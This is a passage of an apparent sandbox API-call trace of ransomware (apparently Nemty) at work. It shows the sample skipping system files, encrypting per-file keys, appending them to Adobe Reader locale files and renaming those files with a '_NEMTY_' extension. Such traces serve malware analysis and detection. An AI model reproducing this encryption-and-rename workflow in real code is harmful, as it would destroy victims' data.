lpString2="CONFIG.SYS") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="RECYCLER") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="BOOTSECT.BAK") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="bootmgr") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="programdata") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="appdata") returned -1 [0177.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.HUN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.HUN", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.HUN", lpUsedDefaultChar=0x0) returned 17 [0177.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0177.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.HUN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.HUN", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.HUN", lpUsedDefaultChar=0x0) returned 17 [0177.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0177.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.HUN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.HUN", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.HUN", lpUsedDefaultChar=0x0) returned 17 [0177.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.HUN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.HUN", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.HUN", lpUsedDefaultChar=0x0) returned 17 [0177.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.839] Sleep (dwMilliseconds=0x5) [0177.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1da7e110, dwHighDateTime=0x1d561e8)) [0177.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1da7e110, dwHighDateTime=0x1d561e8)) [0177.854] GetLastError () returned 0xb7 [0177.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.854] GetLastError () returned 0xb7 [0177.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0177.854] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.854] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.854] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.854] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="8pJ/XxrLNU4ogACIhSVx758tp9ImVcc7t482s3AnkCm2Iq2CWr0IX6YZFlq8f1SO\r\nSDV8bidhsN71hIp+0vOhvT9zbo6qQ1waXHnh4+JjNnVtxucXrYZjoulG2FJVmo79\r\nvlUpMn7aenJMQU87lKtlLQFC0xb510nH24c+pmQOZ5xMnXv6RLg67Ezm2w4JIBXn\r\n/XGmD0mzzyXevGPT23GFOC1evbVG5W9lZXAP0RVv6TsvMx5jNr4YBMU66ZlZk+RW\r\n5YfN12BIl1ECtgChVAqhN6Le4cg7dp6OaNQT/sccurff5V092dA5/8K5oioaDnEh\r\nCt0Ub8QHyJ+DQhdARSEHwQ==\r\n", pcchString=0x653e5dc) returned 1 [0177.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0177.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\accessibility.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\accessibility.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.855] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=45056) returned 1 [0177.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb000) returned 0x6352c48 [0177.855] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.855] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xb000, lpOverlapped=0x0) returned 1 [0177.859] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.859] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xb000, lpOverlapped=0x0) returned 1 [0177.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.859] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=45056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb000 [0177.859] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.860] CloseHandle (hObject=0x2e8) returned 1 [0177.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0177.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0177.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0177.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0177.860] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\accessibility.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\accessibility.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\accessibility.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\accessibility.hun._nemty_kgobjgd_")) returned 1 [0177.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.861] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x68600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.HUN", cAlternateFileName="")) returned 1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2=".") returned 1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="..") returned 1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="...") returned 1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="windows") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="$RECYCLE.BIN") returned 1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="rsa") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="NTDETECT.COM") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="ntldr") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="MSDOS.SYS") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="IO.SYS") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="boot.ini") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="boot.ini") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="AUTOEXEC.BAT") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="ntuser.dat") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="desktop.ini") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="CONFIG.SYS") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="RECYCLER") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="BOOTSECT.BAK") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="bootmgr") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="programdata") returned -1 [0177.861] lstrcmpiW (lpString1="Acroform.HUN", lpString2="appdata") returned -1 [0177.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HUN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.HUN", lpUsedDefaultChar=0x0) returned 12 [0177.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HUN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.HUN", lpUsedDefaultChar=0x0) returned 12 [0177.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HUN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.HUN", lpUsedDefaultChar=0x0) returned 12 [0177.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HUN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.HUN", lpUsedDefaultChar=0x0) returned 12 [0177.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.862] Sleep (dwMilliseconds=0x5) [0177.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1daa4270, dwHighDateTime=0x1d561e8)) [0177.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1daa4270, dwHighDateTime=0x1d561e8)) [0177.869] GetLastError () returned 0x0 [0177.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.869] GetLastError () returned 0x0 [0177.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.869] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.869] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.869] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.869] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="pA/EnpzFDllaOBUO5tbRHy2Do2b9pWmJGBaD1HXH0mJKkXp39o7VzAiaHfQVGOfx\r\nWwFHdfLdh6jE7TUjb8InoDsys9jvQtrAwcBqozz7hLeTQ/L9Kd6jMzSOT6B3LuSK\r\n7SQ+L322OdOU3HGRHpNljc6cm2zcUvwKn7ZdVOBwMK5b23Hk0M+mvkoJv9/jFUnO\r\ns8UY1aMS4WFrY4O3d0p79FnlXwxjANvFs0a5V4FKALAeW+w1f+DgLvCeYHbZjoVU\r\nlut0q4XucsKugZuO2L6bfCW3/R7G/Z7n16+SH0haPS61Eupvn7TT6YmClO4jGU71\r\nPxN2GC0zmxQYAvcukaytKw==\r\n", pcchString=0x653e5dc) returned 1 [0177.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.870] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Acroform.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\acroform.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.871] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=427520) returned 1 [0177.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.871] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.871] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.880] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.880] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.880] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=427520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x68600 [0177.880] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.882] CloseHandle (hObject=0x2e8) returned 1 [0177.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.882] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Acroform.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\acroform.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Acroform.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\acroform.hun._nemty_kgobjgd_")) returned 1 [0177.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 